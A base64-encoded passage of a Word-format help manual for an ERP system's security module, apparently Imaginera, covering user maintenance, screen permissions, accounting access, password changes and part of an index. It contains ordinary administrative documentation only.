IHRoYXQgdGhlIHVzZXIgbWF5IGFwcHJvdmUgaW4gdGhlIEFwcHJvdmFsIEFtb3VudBMgWEUgIkFw cHJvdmFsIEFtb3VudCIgFSBlZGl0IGZpZWxkLiANDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxzZWN1 cml0eVxcV0lOSEVMUFxcV0hULUJJTkQuQk1QIFwqIE1FUkdFRk9STUFUFAEVTm90ZTogIFRoZSBt YXhpbXVtIGFtb3VudCBpcyAkOSw5OTksOTk5Lg0NNykgSWYgdXNlciBpcyBhIGJ1eWVyIGFuZCBp cyBwZXJtaXR0ZWQgdG8gYXBwcm92ZSBQdXJjaGFzZSBPcmRlcnMsIHRoZW4gY2hlY2sgdGhlIFRo aXMgQnV5ZXIgQ2FuIEFsc28gYmUgQXBwcm92ZXIgYm94LiANDTgpIENsaWNrIDxTYXZlPg0NU2Vh cmNoIGZvciBFeGlzdGluZyBVc2VyOhMgWEUgIlNlYXJjaCBmb3IgRXhpc3RpbmcgVXNlcjoiIBUN DTEpIENsaWNrIDxTZWFyY2g+DQ1vcg0NMSkgRW50ZXIga25vd24gaW5mb3JtYXRpb24gaW50byBv bmUgb2YgdGhlIFllbGxvdyBjb2xvcmVkIGZpZWxkcxMgWEUgIlllbGxvdyBjb2xvcmVkIGZpZWxk cyIgFSwgdGhlbiBjbGljayA8U2VhcmNoPi4gDQ1vciANDTEpIEVudGVyIGEgbGV0dGVyIG9yIG51 bWJlciBpbnRvIG9uZSBvZiB0aGUgWWVsbG93IGNvbG9yZWQgZmllbGRzIHRvIHNlZSB0aG9zZSB1 c2VycyB0aGUgaGF2ZSBuYW1lcywgZXRjLCB0aGF0IGJlZ2luIHdpdGggdGhhdCBsZXR0ZXIgb3Ig bnVtYmVyLCB0aGVuIGNsaWNrIDxTZWFyY2g+Lg0NMikgVGhlIFFCRSBTZWFyY2ggc2NyZWVuEyBY RSAiUUJFIFNlYXJjaCBzY3JlZW4iIBUgd2lsbCBvcGVuIGFuZCBkaXNwbGF5IHRoZSBpbmZvcm1h dGlvbi4gIE1ha2UgYSBzZWxlY3Rpb24gYW5kIHRoZW4gY2xpY2sgRXhpdCEgdG8gcmV0dXJuIHRv IHRoZSBVc2VyIExpc3Qgc2NyZWVuEyBYRSAiVXNlciBMaXN0IHNjcmVlbiIgFS4gDQ0TSU1QT1JU IEM6XFxpbWFnaW4zMVxcc2VjdXJpdHlcXFdIVC1CSU5ELkJNUCBcKiBNRVJHRUZPUk1BVBQBFU5v dGU6ICBPbmNlIGEgdXNlciBpcyBzZWxlY3RlZCwgdGhlbiB0aGUgPFByZXZpb3VzPhMgWEUgIjxQ cmV2aW91cz4iIBUgYW5kIHRoZSA8TmV4dD4TIFhFICI8TmV4dD4iIBUgYnV0dG9ucyB3aWxsIGVu YWJsZSBhbmQgYWxsb3cgZm9yIHNjcm9sbGluZyB0aHJvdWdoIHRoZSBsaXN0aW5nIG9mIHVzZXJz IGFuZCB0aGUgPERlbGV0ZT4gYnV0dG9uIGNhbiBiZSB1c2VkIHRvIHJlbW92ZSBhIHVzZXIgZnJv bSB0aGUgU3lzdGVtLg0NRGVsZXRlIGEgVXNlcjoTIFhFICJEZWxldGUgYSBVc2VyOiIgFQ0NMSkg RG8gYSBRQkUgc2VhcmNoIGFuZCBzZWxlY3QgdGhlIFVzZXIgdG8gYmUgZGVsZXRlZC4NDTIpIENs aWNrIHRoZSA8RGVsZXRlPiBidXR0b24NDTMpIENsaWNrIHRoZSA8U2F2ZT4gYnV0dG9uDQ0TSU1Q T1JUIEM6XFxpbWFnaW4zMVxcc2VjdXJpdHlcXFdJTkhFTFBcXFlFTC1QQUQuQk1QIFwqIE1FUkdF Rk9STUFUFAEVTm90ZTogIFdoZW4gYSBVc2VyIGlzIGRlbGV0ZWQgYW5kIDxTYXZlPiBpcyBub3Qg Y2xpY2tlZCwgdGhlbiB0aGUgbmV4dCA8U2VhcmNoPiB3aWxsIGRpc3BsYXkgdGhlIFVzZXIncyBy b3cgZGF0YSB3aXRoIGFuIFggYW5kIHVwb24gcmV0dXJuIHRvIHRoZSBVc2VyIExpc3Qgc2NyZWVu IHRoZSBVc2VyJ3MgZGF0YSB3aWxsIGJlIGRpc3BsYXllZCBvbiBhIFJFRCBiYWNrZ3JvdW5kEyBY RSAiUkVEIGJhY2tncm91bmQiIBUuICBBdCB0aGlzIHBvaW50LCB0aGUgc2VsZWN0ZWQgVXNlciBp cyBub3QgZGVsZXRlZCBhbmQgPFNhdmU+EyBYRSAiPFNhdmU+IiAVIG11c3QgYmUgY2xpY2tlZCB0 byBjb21wbGV0ZSB0aGUgZGVsZXRpb24gcHJvY2Vzcy4NDQ1PdGhlciBzY3JlZW4gaW5mb3JtYXRp b246DQ1QQVRIOiBTZWN1cml0eS5leGUTIFhFICJTZWN1cml0eS5leGUiIBUgPj4gU2VjdXJpdHkg TWFpbnRlbmFuY2UgPj4gVXNlcnMgPj4gVXNlciBMaXN0IA0NTWVudXM6DUYgPSBGaWxlDUggPSBI ZWxwDQ1GIHwgQSA9IEFkZA1GIHwgRCA9IERlbGV0ZQ1GIHwgTCA9IENsZWFyDUYgfCBTID0gU2F2 ZQ1GIHwgRiA9IEZpbmQNRiB8IFYgPSBQcmV2aW91cyBSZWNvcmQNRiB8IE4gPSBOZXh0IFJlY29y ZA1GIHwgVCA9IE5leHQgVGFibGUNRiB8IFAgPSBQcmludA1GIHwgQyA9IENsb3NlIEZvcm0NRiB8 IFggPSBFeGl0IEFwcGxpY2F0aW9uDQ1IIHwgVyA9IFdpbmRvdyBIZWxwICAgIEYxDUggfCBNID0g TW9kdWxlIEhlbHAgICAgIEN0cmwgKyBGMQ1IIHwgUyA9IFN5c3RlbSBIZWxwICAgICAgU2hpZnQg KyBGMQ1IIHwgVSA9IFVzaW5nIEhlbHAgICAgICAgIEN0cmwgKyBGOQ1IIHwgQSA9IEFib3V0DQ1I b3QgS2V5czogDUEgPSBUaGlzIEJ1eWVyIENhbiBBbHNvIGJlIEFwcHJvdmVyDVAgPSBIYXMgUHJp Y2luZyBBY2Nlc3MNDUJ1dHRvbnM6DTxBZGQ+DTxEZWxldGU+DTxDbGVhcj4NPFNhdmU+DTxTZWFy Y2g+DTxQcmV2aW91cz4NPE5leHQ+DTxFeGl0Pg0NU2VjdXJpdHkgTWFpbnRlbmFuY2UTIFhFICJT ZWN1cml0eSBNYWludGVuYW5jZSIgFSANMTA3MDQwMDATIFhFICIxMDcwNDAwMCIgFQ1UaGlzIGlz IGEgZmFjaWxpdHkgdG8gZW5hYmxlIHNlY3VyaXR5IG9uIGFsbCBzY3JlZW5zEyBYRSAiRW5hYmxl IHNlY3VyaXR5IG9uIGFsbCBzY3JlZW5zIiAVIHdpdGhpbiB0aGUgc3lzdGVtLCBhbmQgY2xlYXIg b3IgcmV2b2tlIHVzZXIgYWNjZXNzIHRvIHRoZXNlIHNjcmVlbnMuICBUaGlzIGlzIHRoZSBtYWlu IHNjcmVlbiBmb3IgdGhlIHNldC11cCBvZiBwZXJtaXNzaW9ucyBhbmQgYXV0aG9yaXphdGlvbnMT IFhFICJTZXQtdXAgb2YgcGVybWlzc2lvbnMgYW5kIGF1dGhvcml6YXRpb25zIiAVIHdpdGhpbiB0 aGUgU3lzdGVtLiAgDQ1Vc2luZyB0aGUgc2NyZWVuOg0NYSkgVGhlcmUgaXMgYSBsaXN0IG9mIEZv cm1zEyBYRSAiTGlzdCBvZiBGb3JtcyIgFSAoVGhlIHNjcmVlbnMgdXNlZCB3aXRoaW4gdGhlIHN5 c3RlbSkgdGhhdCBtYXkgYmUgbWFkZSBhY2Nlc3NpYmxlIHRvIGFuIGVtcGxveWVlLiAgDQ1iKSBP bmNlIHRoZSBlbXBsb3llZSBpcyBjaG9zZW4gZnJvbSB0aGUgcG9wLWludG8tdmlldyBkYXRhZ3Jp ZCAoRW5hYmxlIFNlY3VyaXR5EyBYRSAiRW5hYmxlIFNlY3VyaXR5IiAVKSB0aGUgdXNlciBjYW4g YmUgZ2l2ZW4gcGVybWlzc2lvbiBsZXZlbHMTIFhFICJQZXJtaXNzaW9uIGxldmVscyIgFSBvZiBG dWxsLCBSZWFkIE9ubHksIG9yIE5vbmUuDQ1jKSBBIHNlcGFyYXRlIHNjcmVlbiwgU2VjdXJpdHkg TWFpbnRlbmFuY2UgfCBBY2NvdW50aW5nID4+IEFjY291bnRpbmcgU2VjdXJpdHkTIFhFICJBY2Nv dW50aW5nIFNlY3VyaXR5IiAVIGFsbG93cyBmb3IgYWNjZXNzIGFzc2lnbm1lbnRzIHRvIHRoZSB1 c2VyIHNvIHRoYXQgaGUgb3Igc2hlIG1heSBoYXZlIGFjY2VzcyB0byB0aGUgQWNjb3VudHMgUGF5 YWJsZSwgQWNjb3VudHMgUmVjZWl2YWJsZSwgR2VuZXJhbCBMZWRnZXIgYW5kIFBheXJvbGwTIFhF ICJhY2Nlc3MgdG8gdGhlIEFjY291bnRzIFBheWFibGUsIEFjY291bnRzIFJlY2VpdmFibGUsIEdl bmVyYWwgTGVkZ2VyIGFuZCBQYXlyb2xsIiAVIG1vZHVsZXMuDQ1kKSBQYXNzd29yZHMTIFhFICJQ YXNzd29yZHMiIBUgbWF5IGJlIGNoYW5nZWQgdXNpbmcgdGhlIFNlY3VyaXR5IE1haW50ZW5hbmNl IHwgUGFzc3dvcmQhID4+IENoYW5nZSBQYXNzd29yZCAuDQ1lKSBOZXcgVXNlcnMgbWF5IGJlIGFk ZGVkIGJ5IHVzaW5nIHRoZSBTZWN1cml0eSBNYWludGVuYW5jZSB8IFVzZXJzISA+PiBVc2VyIExp c3Qgc2NyZWVuEyBYRSAiVXNlciBMaXN0IHNjcmVlbiIgFS4gDQ0TSU1QT1JUIEM6XFxpbWFnaW4z MVxcc2VjdXJpdHlcXFdJTkhFTFBcXFdIVC1CSU5ELkJNUCBcKiBNRVJHRUZPUk1BVBQBFU5vdGU6 ICBUaGlzIHNjcmVlbiBkaXNwbGF5cyBhIGxpc3Rpbmcgb2YgdGhlIGZvcm1zIChzY3JlZW5zKSwg dGhlIGludGVybmFsIGlkZW50aWZpY2F0aW9uIG51bWJlchMgWEUgIkludGVybmFsIGlkZW50aWZp Y2F0aW9uIG51bWJlciIgFSBhbmQgbmFtZSBhc3NpZ25lZCB0byB0aGUgZm9ybSwgYW5kIHRoZSB0 aXRsZSBvZiB0aGUgZm9ybRMgWEUgIlRpdGxlIG9mIHRoZSBmb3JtIiAVLiAgVGhlc2UgaXRlbXMg YXJlIHByZXNldCBhbmQgYXJlIG5vdCB1c2VyIG1vZGlmaWFibGUuDQ0NQWRkaW5nIGEgU2VjdXJp dHkgQWNjZXNzIHRvIGEgVXNlcjoTIFhFICJBZGRpbmcgYSBTZWN1cml0eSBBY2Nlc3MgdG8gYSBV c2VyOiIgFQ0NMSkgTWFrZSBhIHNlbGVjdGlvbiBvZiB0aGUgc2NyZWVuIChGb3JtKSB0byB3aGlj aCB0aGUgcGVyc29uJ3Mgc2VjdXJpdHkgYWNjZXNzIGlzIHRvIGJlIGFzc2lnbmVkLiANDRNJTVBP UlQgQzpcXGltYWdpbjMxXFxzZWN1cml0eVxcV0hULUJJTkQuQk1QIFwqIE1FUkdFRk9STUFUFAEV Tm90ZTogIElmIHRoZXJlIGFyZSBwZW9wbGUgYXNzaWduZWQgdGhpcyBwcml2aWxlZ2UTIFhFICJQ cml2aWxlZ2UiIBUsIHRoZW4gdGhlIGxpc3Qgd2lsbCBkaXNwbGF5IGFzIHRoZSBVc2VyIFJlc3Ry aWN0aW9ucyBsaXN0aW5nEyBYRSAiVXNlciBSZXN0cmljdGlvbnMgbGlzdGluZyIgFS4NDTIpIENs aWNrIHRoZSBFbmFibGUgU2VjdXJpdHkTIFhFICJFbmFibGUgU2VjdXJpdHkiIBUgYm94IHRvIG9w ZW4gdGhlIHBvcC11cCBtZW51LiAgU2VsZWN0IERvbid0IEFkZCBvciBBZGQgVXNlcnMuDQ0TSU1Q T1JUIEM6XFxpbWFnaW4zMVxcc2VjdXJpdHlcXFdIVC1CSU5ELkJNUCBcKiBNRVJHRUZPUk1BVBQB FU5vdGU6IEFkZCBVc2VycxMgWEUgIkFkZCBVc2VycyIgFSB3aWxsIHRoZW4gYWxsb3cgdGhlIGZv bGxvd2luZyBzZWxlY3Rpb25zOyBObyBBY2Nlc3MsIFJlYWQgT25seSwgYW5kIEZ1bGwgQWNjZXNz Lg0NMykgVGhlIFVzZSBSZXN0cmljdGlvbnMgZ3JpZCB3aWxsIGFwcGVhciBhbmQgY2xpY2tpbmcg dGhlICsgc2lnbiBpbiB0aGUgdXBwZXIgbGVmdCBjb3JuZXIgd2lsbCBhbGxvdyBmb3IgdGhlIGFk ZGl0aW9uIG9mIGEgdXNlci4gIA0NNCkgU2VsZWN0IGEgVXNlciBmcm9tIHRoZSBkcm9wIGRvd24g bGlzdCBhdmFpbGFibGUgZnJvbSB0aGUgVXNlciBOYW1lIGNvbHVtbi4NDTUpIFNlbGVjdCBhbiBB Y2Nlc3MgTGV2ZWwTIFhFICJBY2Nlc3MgTGV2ZWwiIBUgZnJvbSB0aGUgZHJvcCBkb3duIGxpc3Qg YXZhaWxhYmxlIGZyb20gdGhlIEFjY2VzcyBMZXZlbCBjb2x1bW4uDQ02KSBDbGljayA8U2F2ZT4N DUFkZGluZyBhIGZvcm0gKHNjcmVlbikgdG8gdGhlIFRhYmxlIE1haW50ZW5hbmNlIG1lbnUTIFhF ICJBZGRpbmcgYSBmb3JtIChzY3JlZW4pIHRvIHRoZSBUYWJsZSBNYWludGVuYW5jZSBtZW51IiAV DQ0xKSBTZWxlY3QgdGhlIGZvcm0gdG8gYmUgYWRkZWQNDTIpIENoZWNrIHRoZSBTaG93IGluIE1h aW50ZW5hbmNlIEFwcGxpY2F0aW9uIGNoZWNrYm94DQ0zKSBDbGljayA8U2F2ZT4gDQ1vcg0NMykg R28gdG8gdGhlIG5leHQgZm9ybS4NDRNJTVBPUlQgQzpcXGltYWdpbjMxXFxzZWN1cml0eVxcV0lO SEVMUFxcV0hULUJJTkQuQk1QIFwqIE1FUkdFRk9STUFUFAEVTm90ZTogIElmIHVzZXIgZWxlY3Rz IHRvIGdvIHRvIHRoZSBuZXh0IGZvcm0sIHRoZW4gYSBwb3AtaW50by12aWV3IENvbmZpcm0gQWN0 aW9uIHJlc3BvbnNlIHNjcmVlbhMgWEUgIkNvbmZpcm0gQWN0aW9uIHJlc3BvbnNlIHNjcmVlbiIg FSB3aWxsIGFwcGVhciB3aXRoIHRoZSBtZXNzYWdlIFNhdmUgQ2hhbmdlcyBiZWZvcmUgTGVhdmlu ZyBSb3csIDxZZXM+IDxObz4gPENhbmNlbD4uICA8WWVzPiB3aWxsIHNhdmUgdGhlIGNoYW5nZXMu DQ1PdGhlciBzY3JlZW4gaW5mb3JtYXRpb246DQ1QQVRIOiAgU2VjdXJpdHkuZXhlEyBYRSAiU2Vj dXJpdHkuZXhlIiAVID4+IFNlY3VyaXR5IE1haW50ZW5hbmNlDQ1NZW51czoNRiA9IEZpbGUNVSA9 IFVzZXJzIQ1QID0gUGFzc3dvcmRzIQ1BID0gQWNjb3VudGluZw1IID0gSGVscA0NE0lNUE9SVCBD OlxcaW1hZ2luMzFcXHNlY3VyaXR5XFxXSFQtQklORC5CTVAgXCogTUVSR0VGT1JNQVQUARVOb3Rl OiBUaGUgISBkZW5vdGVzIHRoYXQgdGhlcmUgYXJlIG5vIGl0ZW1zIHVuZGVyIHRoaXMgbWVudSBh bmQgd2hlbiB0aGUgbWVudSBpcyBzZWxlY3RlZCBpdCB3aWxsIGltbWVkaWF0ZWx5IG9wZW4gdGhl IGFzc29jaWF0ZWQgc2NyZWVuLiANDUYgfCBTID0gU2F2ZQ1GIHwgWCA9IEV4aXQgQXBwbGljYXRp b24NDUggfCBXID0gV2luZG93IEhlbHAgICAgRjENSCB8IE0gPSBNb2R1bGUgSGVscCAgICAgQ3Ry bCArIEYxDUggfCBTID0gU3lzdGVtIEhlbHAgICAgICBTaGlmdCArIEYxDUggfCBVID0gVXNpbmcg SGVscCAgICAgICAgQ3RybCArIEY5DUggfCBBID0gQWJvdXQNDUhvdCBLZXlzOg1NID0gU2hvdyBp biBNYWludGVuYW5jZSBBcHBsaWNhdGlvbg1TID0gRW5hYmxlIFNlY3VyaXR5DVIgPSBGb3Jtcw0N QnV0dG9uczoNPFNhdmU+DTxQcmludD4NPEV4aXQ+DQ1PdGhlcjoNVGV4dDogVGhpcyB3aWxsIGRp c3BsYXkgd2hldGhlciB0aGUgR2xvYmFsIFNlY3VyaXR5EyBYRSAiR2xvYmFsIFNlY3VyaXR5IiAV IGlzIE9OIG9yIE9GRi4gIA0NQWNjb3VudGluZyBTZWN1cml0eRMgWEUgIkFjY291bnRpbmcgU2Vj dXJpdHkiIBUgDTEwMDAyMDAwEyBYRSAiMTAwMDIwMDAiIBUNU2V0cyBzZWN1cml0eSBlcXVpdmFs ZW5jaWVzIHRvIEFjY291bnRpbmcgbW9kdWxlcxMgWEUgIlNlY3VyaXR5IGVxdWl2YWxlbmNpZXMg dG8gQWNjb3VudGluZyBtb2R1bGVzIiAVLiANDVVzaW5nIHRoZSBzY3JlZW46DQ0xKSBTZWxlY3Qg dGhlIHVzZXIgZnJvbSB0aGUgVXNlcnMgbGlzdC4NDTIpIENoZWNrIHRoZSBNb2R1bGUgUGVybWlz c2lvbnMTIFhFICJNb2R1bGUgUGVybWlzc2lvbnMiIBUuIEFsbCBvciBOb25lDQ0TSU1QT1JUIEM6 XFxpbWFnaW4zMVxcc2VjdXJpdHlcXFdJTkhFTFBcXFdIVC1CSU5ELkJNUCBcKiBNRVJHRUZPUk1B VBQBFU5vdGU6IENsaWNrIG9uIGEgbW9kdWxlIG5hbWUgKHJpZ2h0LWhhbmQgZ3JpZCkgdG8gZW5h YmxlIHRoZSBzY3JlZW4uDQ0zKSBDaGVjayB0aGUgRW1wbG95ZWUgUGVybWlzc2lvbnMTIFhFICJF bXBsb3llZSBQZXJtaXNzaW9ucyIgFSwgSG91cmx5LCBTYWxhcnksIG9yIEJvdGguIA0NNCkgQ2xp Y2sgPFNhdmU+DQ0NT3RoZXIgc2NyZWVuIGluZm9ybWF0aW9uOg0NUEFUSDogIFNlY3VyaXR5LmV4 ZSA+PiBTZWN1cml0eSBNYWludGVuYW5jZSA+PiBBY2NvdW50aW5nID4+IEFjY291bnRpbmcgU2Vj dXJpdHkNDU1lbnVzOg1GID0gRmlsZQ1IID0gSGVscA0NRiB8IFMgPSBTYXZlDUYgfCBYID0gRXhp dA0NSCB8IFcgPSBXaW5kb3cgSGVscCAgICBGMQ1IIHwgTSA9IE1vZHVsZSBIZWxwICAgICBDdHJs ICsgRjENSCB8IFMgPSBTeXN0ZW0gSGVscCAgICAgIFNoaWZ0ICsgRjENSCB8IFUgPSBVc2luZyBI ZWxwICAgICAgICBDdHJsICsgRjkNSCB8IEEgPSBBYm91dA0NSG90IEtleXM6IE5vIEhvdCBLZXlz DQ1CdXR0b25zOg0NPFNhdmU+DTxFeGl0Pg0NQ2hhbmdlIFBhc3N3b3JkIDITIFhFICJDaGFuZ2Ug UGFzc3dvcmQgMiIgFSANMTA3MDMwMDATIFhFICIxMDcwMzAwMCIgFQ1GYWNpbGl0eSB0byBjaGFu Z2UgdGhlIGN1cnJlbnRseSBsb2dnZWQtaW4gb3Igc2VsZWN0ZWQgdXNlcidzIHBhc3N3b3JkLhMg WEUgIkNoYW5nZSBjdXJyZW50bHkgbG9nZ2VkLWluIHVzZXIncyBwYXNzd29yZC4iIBUgDQ1Vc2lu ZyB0aGUgc2NyZWVuOg0NMSkgRW50ZXIgdGhlIG9sZCBwYXNzd29yZBMgWEUgIk9sZCBwYXNzd29y ZCIgFSBvciB0aGUgdXNlcidzIElkIGluIHRoZSBVc2VyIElEIGJveC4NDTIpIEVudGVyIGEgbmV3 IHBhc3N3b3JkEyBYRSAiTmV3IHBhc3N3b3JkIiAVIGluIHRoZSBOZXcgZWRpdCBmaWVsZCBhbmQg dGhlbiBwcmVzcyBUQUIuDQ0zKSBBZ2FpbiBlbnRlciB0aGUgbmV3IHBhc3N3b3JkLCB0aGlzIHRp bWUgaW4gdGhlIENvbmZpcm0gZWRpdCBib3gTIFhFICJDb25maXJtIGVkaXQgYm94IiAVIGFuZCB0 aGVuIHByZXNzIFRBQi4NDTQpIENsaWNrIDxDaGFuZ2U+IG9yIGlmIG5vIGNoYW5nZSBpcyB3YW50 ZWQsIHRoZW4gY2xpY2sgPENhbmNlbD4NDQ1PdGhlciBzY3JlZW4gaW5mb3JtYXRpb246DQ1QQVRI OiAgU2VjdXJpdHkuZXhlEyBYRSAiU2VjdXJpdHkuZXhlIiAVID4+IFNlY3VyaXR5IE1haW50ZW5h bmNlID4+IFBhc3N3b3JkcyEgPj4gQ2hhbmdlIFBhc3N3b3JkDQ1NZW51czogIE5vIE1lbnVzDQ1I b3QgS2V5czoNTiA9IE5ldw1DID0gQ29uZmlybQ0NQnV0dG9uczoNQyA9IDxDaGFuZ2U+DUMgPSA8 Q2FuY2VsPg0NDEluZGV4DQ0TIElOREVYIFxlICIJIiBcaCAiQSIgXGMgIjIiIBQMKg0qLmhscCAo RjEpIGhlbHAJOA08DTxCZWdpbiBVcGRhdGU+CTkNPE5leHQ+CTIxDTxQcmV2aW91cz4JMjENPFBy aW50Pgk3DTxTYXZlPgkyMQ0xDTEwMDAyMDAwCTI1DTEwMDMwMDAwCTExDTEwMDMxMDAwCTEyDTEw MTU4MDAwCTcNMTAzNDUwMDAJMTANMTA3MDMwMDAJMjUNMTA3MDQwMDAJMjINMTA3MDUwMDAJMTkN MTA3NzQwMDAJMTANMTA4MjUwMDAJNg0xMDgyNjAwMAk4DUENQWNjZXNzIExldmVsCTIzDUFjY2Vz cyB0byB0aGUgQWNjb3VudHMgUGF5YWJsZSwgQWNjb3VudHMgUmVjZWl2YWJsZSwgR2VuZXJhbCBM ZWRnZXIgYW5kIFBheXJvbGwJMjMNQWNjb3VudGluZyBTZWN1cml0eQkyMiwgMjUNQWRkIGEgTmV3 IFVzZXIgdG8gdGhlIFN5c3RlbToJMjANQWRkIFVzZXJzCTE4LCAyMw1BZGRpbmcgYSBmb3JtIChz Y3JlZW4pIHRvIHRoZSBUYWJsZSBNYWludGVuYW5jZSBtZW51CTIzDUFkZGluZyBhIFNlY3VyaXR5 IEFjY2VzcyB0byBhIFVzZXI6CTIzDUFkZGl0aW9uYWwgUHVyZ2UgUm91dGluZXMJMTINQWx0ICsg RjQJMTIsIDE4DUFtdF9zeXMuZXhlCTcNQW10ZWNoIERhdGFiYXNlIEZpeGVzCTEwDUFwcHJvdmFs IEFtb3VudAkyMA1CDUJhZGdlIE51bWJlciBmaWVsZAkyMA1DDUNhbGVuZGFyCTExDUNoYW5nZSBj dXJyZW50bHkgbG9nZ2VkLWluIHVzZXIncyBwYXNzd29yZC4JMjUNQ2hhbmdlIFBhc3N3b3JkIDIJ MjUNQ2hhbmdlIFBhc3N3b3JkIHNjcmVlbgkyMA1DaGVjayBmb3IgRGF0YWJhc2UgQ29ycnVwdGlv bgk5DUNvbW1hbmQgU3RhdHVzCTkNQ29tcGFueSBmaWxlCTE3DUNvbXBhbnkgdGFibGUJMTUNQ29u ZmlybSBBY3Rpb24gcmVzcG9uc2Ugc2NyZWVuCTI0DUNvbmZpcm0gZWRpdCBib3gJMjYNQ29uc29s aWRhdGVkIC0gRGF0YWJhc2UuZG9jIGZpbGUJOA1Db3JyZWN0IGRhdGFiYXNlCTkNQ291bnQuUVJQ IHJlcG9ydAk3DUNvdW50cy5leGUJNw1DcmVhdGlvbiwgZGVsZXRpb24sIGFuZCBtb2RpZmljYXRp b24gb2YgVXNlcnMJMTkNRA1EYXRhIGNhbiBiZSByZW1vdmVkIGZyb20JMTENRGF0YWJhc2UgU2Ny aXB0IERvbmUJOQ1EYXRhYmFzZSBVcGRhdGUgVXRpbGl0eSBEZXNjcmlwdGlvbgk4DURhdGFiYXNl IHVwZGF0ZXMJOA1EYXRlIGFuZCB0aW1lIG9mIHB1cmdlCTE3DURhdGUgU2V0LXVwCTE1DURCVVBE QVRFIE5vdCBSZXNwb25kaW5nCTkNRGJ1cGRhdGUuZXhlCTgsIDkNRGVmYXVsdCBzZWN1cml0eSBh Y2Nlc3MJMTkNRGVsZXRlIGEgVXNlcjoJMjENRGVsaXZlcnkgR3JvdXAJMTYNRGVsaXZlcnkgUHVy Z2UJMTQNRGlzcGxheSBkYXRhYmFzZSB0YWJsZSBzdGF0aXN0aWNzCTcNRGlzcGxheSB0aGUgdGFi bGVzIHB1cmdlZAkxMg1ESVZJU0lPTgk4DUUNRURJIEdyb3VwCTE2DUVESSBQdXJnZQkxNA1FbXBs b3llZSBQZXJtaXNzaW9ucwkyNQ1FbmFibGUgU2VjdXJpdHkJMjIsIDIzDUVuYWJsZSBzZWN1cml0 eSBvbiBhbGwgc2NyZWVucwkyMg1FeHRlbnNpb24JNg1GDUZDbWFpbnQuZXhlCTE4DUZpbGUgbmFt ZQk2DUZpbGVzIGluY2x1ZGVkIGFyZQk1DUZpeGl0LmV4ZQkxMA1HDUdsb2JhbCBTZWN1cml0eQky NA1IDUggPSBIZWxwCTE5DUhhcyBQTyBBcHByb3ZhbCBBdXRob3JpdHkJMjANSGFzIFByaWNpbmcg QWNjZXNzCTIwDUhFTFBDT05URU5UIGRhdGFiYXNlIHRhYmxlCTgNSQ1JbWFnaW5lcmEgRGF0YWJh c2UJNg1JbWFnaW5lcmEgRGF0YWJhc2UgaW5kZXggYW5kIHRhYmxlcy4JNg1JbWFnaW5lcmEgRGF0 YWJhc2UgVXBkYXRlCTgNSW5zdGFsbCBvZiBhIG5ldyByZWxlYXNlCTgNSW50ZXJuYWwgaWRlbnRp ZmljYXRpb24gbnVtYmVyCTIzDUludmVudG9yeSBHcm91cAkxNw1JbnZlbnRvcnkgUHVyZ2UJMTQN SW52b2ljZXMgUHVyZ2UJMTQNSW52b2ljaW5nIEdyb3VwCTE2DUoNSm9iIC8gT3JkZXIgQ29zdCBH cm91cAkxNg1MDUxpc3Qgb2YgRm9ybXMJMjINTG9jayBkYXRhYmFzZQkxNQ1Mb2NrIGRhdGFiYXNl IGR1cmluZyBwdXJnZQkxMQ1Mb2NraW5nIERhdGFiYXNlIC0gUnVubmluZwk5DUxvZyBvZmYJOQ1M b2dvbiBJRAkyMA1NDU1haW50YWluLmV4ZQkxOA1NQUlOVFJQVC5RUlAJMTkNTWFrZSB0YWJsZXMg aW4gZGF0YWJhc2UgcHVibGljCTEwDU1pbmltdW0gY3V0b2ZmIGRhdGUgZm9yIHRoZSBwdXJnZQkx NQ1Nb2R1bGUgUGVybWlzc2lvbnMJMjUNTXVsdGktcGxhbnQgb3BlcmF0aW9uCTgNTg1OZXcgcGFz c3dvcmQJMjYNTm9uLW51bWVyaWMgdmFsdWUJMjANTnVsbHMJMTANTw1PbGQgcGFzc3dvcmQJMjYN T3B0aW1pemUgcXVlcmllcwkxNw1PcmRlcnMgR3JvdXAJMTUNT3JkZXJzIFB1cmdlCTEzDVANUGFz c3dvcmRzCTE4LCAyMw1QQVRDSAk4DVBhdGggbmFtZQk2DVBlcm1pc3Npb24gbGV2ZWxzCTIyDVBM QU5UCTgNUHJpbnRpbmcgdG8gYSBmaWxlCTYNUHJpdmlsZWdlCTIzDVB1cmNoYXNlIE9yZGVyIFB1 cmdlCTE0DVB1cmNoYXNpbmcgR3JvdXAJMTYNUHVyZ2UJMTENUHVyZ2UgQXVkaXQgVHJhaWwJMTMN UHVyZ2UgSGlzdG9yeQkxMg1QdXJnZSBpcyBDb21wbGV0ZQkxMQ1QdXJnZSBPcmRlcnMJMTMNUHVy Z2UgUGF5cm9sbCBIaXN0b3J5CTEzDVB1cmdlIHNwZWNpZmljIGRhdGFiYXNlIHRhYmxlcwkxMQ1Q dXJnZSBUaW1lIENhcmRzCTEzDVB1cmdlIFVwdG8gRGF0ZQkxMQ1QdXJnZS5leGUJMTINUQ1RQkUg U2VhcmNoIHNjcmVlbgkxOCwgMjENUg1SRUQgYmFja2dyb3VuZAkyMQ1SZWxlYXNlIG51bWJlcnMJ OA1SZWxlYXNlcyBidWlsZCB1cG9uIGVhY2ggb3RoZXIJOQ1SZXBvcnQhIGZ1bmN0aW9uCTE4DVJv dyBhbmQgY29sdW1uIHR5cGUgcmVwb3J0cwkxOA1TDVNhbGVzIFN1bW1hcnkgUHVyZ2UJMTQNU2Ny aXB0IGZpbGUJOA1TZWFyY2ggZm9yIEV4aXN0aW5nIFVzZXI6CTIxDVNFQ1VSSVRZCTE4DVNlY3Vy aXR5IGVxdWl2YWxlbmNpZXMgdG8gQWNjb3VudGluZyBtb2R1bGVzCTI1DVNlY3VyaXR5IE1haW50 ZW5hbmNlCTIyDVNlY3VyaXR5IG1vZHVsZQkxNw1TZWN1cml0eS5leGUJMTksIDIxLCAyNCwgMjYN U2V0IFN5bm9ueW1zCTEwDVNldHRpbmcgdXAgYWNjZXNzIHRvIGEgdGFibGUgb3IgYXBwbGljYXRp b24uCTE4DVNldC11cCBvZiBwZXJtaXNzaW9ucyBhbmQgYXV0aG9yaXphdGlvbnMJMjINU3lub255 bS5leGUJMTANU3lzdGVtIEFkbWluaXN0cmF0b3IJNSwgMTANU3lzdGVtIGNsZWFuLXVwCTExLCAx Nw1UDVRhYmxlIENvdW50cwk3DVRhYmxlIE1haW50ZW5hbmNlCTE4DVRhYmxlcyBwdXJnZWQJMTIs IDE1DVRlbXBvcmFyeSB0YWJsZQkxMw1UaW1lIEFjY291bnRpbmcgU3lzdGVtIChUQVMpCTIwDVRp 